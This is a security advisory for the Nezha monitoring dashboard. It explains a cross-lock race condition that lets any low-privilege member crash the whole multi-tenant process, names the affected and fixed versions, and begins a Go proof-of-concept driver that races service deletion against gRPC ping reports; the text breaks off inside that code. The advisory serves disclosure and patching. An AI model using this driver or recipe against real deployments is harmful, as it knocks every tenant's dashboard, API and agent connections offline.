GHSA-qjpp-gffx-2wm9 Nezha Monitoring: Whole-instance DoS in Nezha dashboard: a member can crash the process for every tenant

• Go github.com/nezhahq/nezha: >= 0.0.0-20260628010923-fd31e5f1b0f8, < 0.0.0-20260721131105-c893aa57867d → fixed in 0.0.0-20260721131105-c893aa57867d

Summary A single low-privilege `RoleMember` can take the entire Nezha dashboard offline, and with it every tenant's web UI, REST API, and agent connections, by racing two ordinary operations on their own service. The crash is a nil pointer dereference in the service-monitor worker at `service/singleton/servicesentinel.go:601`. The worker checks a service exists under one lock and later writes to two pointer-valued status maps under a different lock; a concurrent delete removes the entries in the gap. Because the gRPC server has no recovery interceptor, the worker-goroutine panic kills the whole process. Availability only: nothing is read or modified. Affected versions Confirmed in `v2.2.7` through `v2.2.10`. `service/singleton/servicesentinel.go` has the same vulnerable implementation in all four releases. The issue is fixed in `v2.2.11` and later; users should upgrade to the latest release, `v2.3.0`. The bug The worker validates an incoming report and later writes it to two status maps, but the check and the write are guarded by two different locks taken at two different times. Between them, the same member can delete the service and pull the map entries out from under the worker. The maps hold pointers, so a missing key returns nil and the first field write through it panics: ``` 73: serviceStatusToday map[uint64]*_TodayStatsOfService 74: serviceCurrentStatusData map[uint64]*serviceTaskStatus ``` The worker checks presence via `Get`, which takes `servicesLock` and releases it. `canReportServiceResult` rejects a nil service here, so at this point the service is known to exist: ``` 532: cs, _ := ss.Get(r.Data.GetId()) // servicesLock.RLock / RUnlock 535: if !canReportServiceResult(cs, reporter, r.Data.GetType()) { continue } ``` For TCP/ICMP ping results, every `AvgPingCount` (default 2, TSDB off) the worker does a synchronous `DB.Create` at `:569` holding neither status-map lock, which stretches the gap into an easily raceable window. It then takes a *different* lock and dereferences the maps with no recheck and no lazy create: ``` 597: ss.serviceResponseDataStoreLock.Lock() 600: ss.serviceStatusToday[mh.GetId()].Delay = ... // nil deref if deleted meanwhile 609: ss.serviceCurrentStatusData[mh.GetId()].t ... // same hazard ``` Meanwhile `Delete` removes both entries under `serviceResponseDataStoreLock`, running on the HTTP-handler goroutine, a different goroutine from the single worker: ``` 378: func (ss *ServiceSentinel) Delete(ids []uint64) { 387: delete(ss.serviceCurrentStatusData, id) 390: delete(ss.serviceStatusToday, id) ``` The precise point: the check reads the `services` map under `servicesLock`; the write touches `serviceStatusToday` under `serviceResponseDataStoreLock`. Holding the second lock at `:600` proves nothing about whether the entry survived, because the delete ran under that same lock while the worker was still busy between the two operations. This is a cross-lock TOCTOU, not a data race. Every access to the two maps is correctly synchronized under one lock, so `-race` reports nothing; the staleness lives across the two locks, not inside one memory location. Two supporting facts. The ping map a few lines up self-heals on a miss (`:543`), so it never faces this; the two status maps never do. And the gRPC server is built with only real-IP and WAF interceptors (`cmd/dashboard/rpc/rpc.go:37`), no recovery, so the worker panic is fatal to the whole process rather than a dropped request. Reachability Both legs are things a member is meant to do with their own resources: report ping results over gRPC with their own agent secret, and create/delete their own service over `POST /api/v1/service` and `POST /api/v1/batch-delete/service`, which pass `CheckPermission` for an owned service. No admin rights, no other tenant involved. `batchDeleteService` reaches `ServiceSentinel.Delete` synchronously on a separate goroutine from the worker, so the two interleave freely. Code flow ``` member agent -> gRPC RequestTask stream -> TaskResult{Id: ownedSvc, Type: TCPPing} -> service/rpc/nezha.go: IsServiceSentinelNeeded(TCPPing) -> Dispatch(ReportData{...}) -> serviceReportChannel -> single worker goroutine: Get(id) [servicesLock] present ......+ batchDeleteService (CheckPermission: own OK) | -> ServiceSentinel.Delete([id]) (synchronous) | [serviceResponseDataStoreLock] delete(serviceStatusToday,id) serviceResponseDataStoreLock.Lock() nil deref -> SIGSEGV (:600) ``` Proof of concept Environment: dashboard built from `fd31e5f1` on go1.26.4, SQLite, bound to `127.0.0.1:8008`, with `avg_ping_count: 2` and TSDB disabled (both defaults). Everything runs against the real running binary using the project's own generated proto client and a plain HTTP client. No mocks, no in-process calls. The driver uses only the member's own credentials, targets only the member's own service, and is strictly for local authorized testing. The driver Placed at `cmd/pocdos/main.go` inside a checkout of the target repo (so the `github.com/nezhahq/nezha/proto` import resolves), built with `go build ./cmd/pocdos`. ```go import ( "bytes" "context" "crypto/tls" "flag" "fmt" "io" "log" "math/rand" "net/http" "os" "sync" "sync/atomic" "time" "google.golang.org/grpc" "google.golang.org/grpc/credentials/insecure" "google.golang.org/grpc/metadata" pb "github.com/nezhahq/nezha/proto" ) var ( grpcAddr = flag.String("grpc", "127.0.0.1:8008", "") baseURL = flag.String("url", "http://127.0.0.1:8008", "") secret = flag.String("secret", "", "m1 agent secret") uuid = flag.String("uuid", "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa", "") token = flag.String("token", "", "m1 jwt") csrf = flag.String("csrf", "", "m1 csrf") dur = flag.Duration("dur", 90*time.Second, "") churn = flag.Int("churn", 16, "concurrent create/delete workers") ) var httpc = &http.Client{Timeout: 5 * time.Second, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, MaxIdleConnsPerHost: 256}} func req(method, path string, body []byte) ([]byte, int) { r, _ := http.NewRequest(method, *baseURL+path, bytes.NewReader(body)) r.Header.Set("Content-Type", "application/json") r.Header.Set("Authorization", "Bearer "+*token) r.Header.Set("X-CSRF-Token", *csrf) r.AddCookie(&http.Cookie{Name: "nz-csrf", Value: *csrf}) r.AddCookie(&http.Cookie{Name: "nz-jwt", Value: *token}) resp, err := httpc.Do(r) if err != nil { return []byte(err.Error()), 0 } defer resp.Body.Close() b, _ := io.ReadAll(resp.Body) return b, resp.StatusCode } func createSvc() (uint64, bool) { b, _ := req("POST", "/api/v1/service", []byte(`{"name":"p","target":"127.0.0.1:8008","type":3,"cover":0,"duration":30}`)) var id uint64 if n, _ := fmt.Sscanf(string(b), `{"success":true,"data":%d}`, &id); n == 1 { return id, true } return 0, false } func deleteSvc(id uint64) { req("POST", "/api/v1/batch-delete/service", []byte(fmt.Sprintf("[%d]", id))) } func main() { flag.Parse() rand.Seed(time.Now().UnixNano()) conn, err := grpc.NewClient(*grpcAddr, grpc.WithTransportCredentials(insecure.NewCredentials())) if err != nil { log.Fatal(err) } cli := pb.NewNezhaServiceClient(conn) authCtx := func(ctx context.Context) context.Context { return metadata.AppendToOutgoingContext(ctx, "client_uuid", *uuid, "client_secret", *secret) } // 1) register a server owned by m1 if _, err := cli.ReportSystemInfo2(authCtx(context.Background()), &pb.Host{Platform: "poc", Arch: "poc"}); err != nil { log.Fatalf("register(R…